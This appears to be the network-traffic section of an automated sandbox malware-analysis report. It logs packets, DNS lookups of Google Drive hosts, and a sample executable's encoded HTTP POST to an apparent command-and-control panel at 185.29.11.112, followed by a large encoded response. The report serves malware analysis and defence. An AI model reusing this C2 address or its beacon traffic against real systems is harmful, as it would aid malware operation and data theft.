Dec 19, 2021 21:13:26.380033016 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.380055904 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.380078077 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.380125046 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.388377905 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.388426065 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.388463974 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.388479948 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.388489962 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.388504028 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.388550043 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.388556004 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.388561964 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.388586998 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.388622999 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.388624907 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.388639927 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.388664961 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.388703108 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.388722897 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.388731003 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.388742924 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.388746977 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.388781071 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.388820887 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.388834953 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.388844013 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.388889074 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.388910055 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.388927937 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.388964891 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389003038 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389007092 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389043093 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389061928 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389069080 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389081955 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389122009 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389142990 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389159918 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389170885 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389177084 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389199018 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389239073 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389250994 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389257908 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389276028 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389314890 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389328003 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389337063 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389360905 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389362097 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389400959 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389431000 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389441013 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389441967 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389477968 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389517069 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389535904 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389542103 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389559984 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389596939 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389610052 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389617920 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389635086 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389672995 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389678955 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389687061 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389710903 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389750957 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389770031 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389777899 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389790058 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389827967 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389843941 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389849901 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389867067 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389904022 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389916897 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389925003 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389941931 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389954090 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.389980078 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.389992952 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.390022993 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.390062094 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.390083075 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.390089989 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.390099049 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.390136957 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.390151978 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.390176058 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.390192032 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.390212059 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.390250921 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.390259027 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.390266895 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.390288115 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.390326977 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.390367031 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.390376091 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.390389919 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.390403986 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.390434980 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.390461922 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.390470028 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.390526056 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.404165983 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.404220104 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.404259920 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.404316902 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.404540062 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.414416075 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.414472103 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.414510965 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.414527893 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.414536953 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.414552927 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.414558887 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.414592981 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.414607048 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.414632082 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.414671898 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.414680958 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.414689064 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.414712906 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.414751053 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.414763927 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.414772034 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.414791107 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.414797068 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.414835930 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.414875031 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.414913893 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.414916992 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.414922953 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.414952993 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.414992094 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415031910 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415071011 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415102005 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.415111065 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415111065 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.415117979 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.415149927 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415186882 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415200949 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.415225029 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415263891 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415271997 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.415278912 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.415302992 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415343046 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415357113 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.415365934 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.415380955 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415421009 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415460110 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415472031 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.415479898 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.415497065 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415524960 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.415535927 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415577888 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415616989 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415636063 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.415657997 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415695906 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415735006 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415747881 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.415755987 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.415775061 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415812969 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415852070 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415864944 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.415873051 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.415890932 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415930986 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415971041 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.415982962 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.415990114 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.416007996 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.416045904 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.416059017 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.416065931 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.416086912 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.416124105 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.416163921 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.416177034 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.416186094 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.416202068 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.416240931 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.416249037 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.416258097 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.416280985 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.416317940 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.416331053 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.416337967 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.416357040 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.416397095 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.416409969 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.416418076 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.416434050 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.416472912 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.416485071 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.416492939 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.416522026 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.416646957 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.416652918 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.428374052 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.428416967 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.428457022 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.428509951 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.428528070 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.440493107 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.440541029 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.440583944 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.440620899 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.440620899 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.440660000 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.440660000 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.440689087 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.440700054 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.440737009 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.440749884 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.440757990 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.440776110 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.440814018 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.440867901 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.440876961 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.440876961 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.440918922 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.440959930 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.440996885 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.441009045 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.441015959 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.441034079 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.441087961 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.441096067 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.554361105 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:29.697679996 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:29.697820902 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:48.581240892 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:48.585160017 CET	49799	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:48.609529972 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.609632969 CET	49799	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:48.610234976 CET	49799	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:48.610349894 CET	49799	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:48.633972883 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.634322882 CET	49799	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:48.634892941 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.634937048 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.634995937 CET	49799	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:48.635035038 CET	49799	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:48.658447981 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.658477068 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.658504009 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.658531904 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.658570051 CET	49799	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:48.658637047 CET	49799	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:48.658662081 CET	49799	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:48.658751965 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.658797979 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.658827066 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.658879995 CET	49799	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:48.658905983 CET	49799	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:48.658922911 CET	49799	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:48.682821035 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.682849884 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.682876110 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.682898045 CET	49799	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:48.682904005 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.682921886 CET	49799	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:48.682930946 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.683134079 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.683161974 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.683316946 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.683346033 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.683881044 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.707143068 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.707180023 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.707207918 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.832227945 CET	80	49799	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:48.832370043 CET	49799	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:48.883219957 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:49.492580891 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:50.695808887 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:53.041642904 CET	49799	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:53.102395058 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:57.915230036 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:14:07.525384903 CET	49789	80	192.168.2.3	185.29.11.112

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2021 21:13:22.400490046 CET	52130	53	192.168.2.3	8.8.8.8
Dec 19, 2021 21:13:22.427018881 CET	53	52130	8.8.8.8	192.168.2.3
Dec 19, 2021 21:13:23.323745012 CET	55102	53	192.168.2.3	8.8.8.8
Dec 19, 2021 21:13:23.350492954 CET	53	55102	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Dec 19, 2021 21:13:22.400490046 CET	192.168.2.3	8.8.8.8	0x3214	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)
Dec 19, 2021 21:13:23.323745012 CET	192.168.2.3	8.8.8.8	0x45ea	Standard query (0)	doc-0o-b4-docs.googleusercontent.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Dec 19, 2021 21:13:22.427018881 CET	8.8.8.8	192.168.2.3	0x3214	No error (0)	drive.google.com		172.217.168.46	A (IP address)	IN (0x0001)
Dec 19, 2021 21:13:23.350492954 CET	8.8.8.8	192.168.2.3	0x45ea	No error (0)	doc-0o-b4-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Dec 19, 2021 21:13:23.350492954 CET	8.8.8.8	192.168.2.3	0x45ea	No error (0)	googlehosted.l.googleusercontent.com		172.217.168.1	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

drive.google.com

doc-0o-b4-docs.googleusercontent.com

185.29.11.112

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49786	172.217.168.46	443	C:\Users\user\Desktop\1COK25f1vT.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49787	172.217.168.1	443	C:\Users\user\Desktop\1COK25f1vT.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49789	185.29.11.112	80	C:\Users\user\Desktop\1COK25f1vT.exe

Timestamp	kBytes transferred	Direction	Data
Dec 19, 2021 21:13:23.798966885 CET	10575	OUT	POST /rothchildnew/Panel/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: 185.29.11.112 Content-Length: 107 Cache-Control: no-cache Data Raw: 4a 4f ed 3e 32 ed 3e 3c 89 28 39 fe 49 2f fb 38 2f fa 49 4c ed 3e 33 ed 3e 3e ed 3e 3b ed 3e 3e ed 3e 33 ed 3e 3a ed 3e 3d ed 3f 4e 89 28 39 fd 28 39 ff 4e 4e 8d 28 39 ff 28 39 f1 28 38 8c 4b 4f ed 3e 33 ed 3e 3c ed 3e 3d ed 3e 3a ed 3e 3b 8a 28 38 8c 28 39 f1 28 39 fb 28 39 fa 28 39 ff 4f 2f fb 3c 2f fb 38 2f fb 34 4b Data Ascii: JO>2><(9I/8/IL>3>>>;>>>3>:>=?N(9(9NN(9(9(8KO>3><>=>:>;(8(9(9(9(9O/</8/4K
Dec 19, 2021 21:13:24.174333096 CET	10634	IN	HTTP/1.1 200 OK Date: Sun, 19 Dec 2021 20:13:23 GMT Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.0.13 X-Powered-By: PHP/8.0.13 Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 34 33 65 33 39 0d 0a ef bb bf 31 69 f6 46 73 bb 7f 41 b1 7e 78 83 74 79 ba 46 7d f8 46 59 99 66 72 85 49 43 bd 40 5e 81 38 46 a2 48 3a 85 74 3e f8 40 4e b8 4f 5b 99 3d 41 f4 22 69 f6 31 64 f6 a4 1f 91 21 af de 10 7c 69 06 17 aa aa 1d 9d 21 a1 c2 53 78 6f 04 5f e4 a9 5e d5 3d ef 9d 13 6f 6c 04 00 84 9f ff f8 0f c2 ad 3d 0f 00 68 3a 36 3a 6f f8 b4 c2 ad 3d 0b 00 68 3a 89 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a 71 c5 6f f8 02 dd 17 33 0b b4 61 f7 e8 7d 6e b4 c1 e3 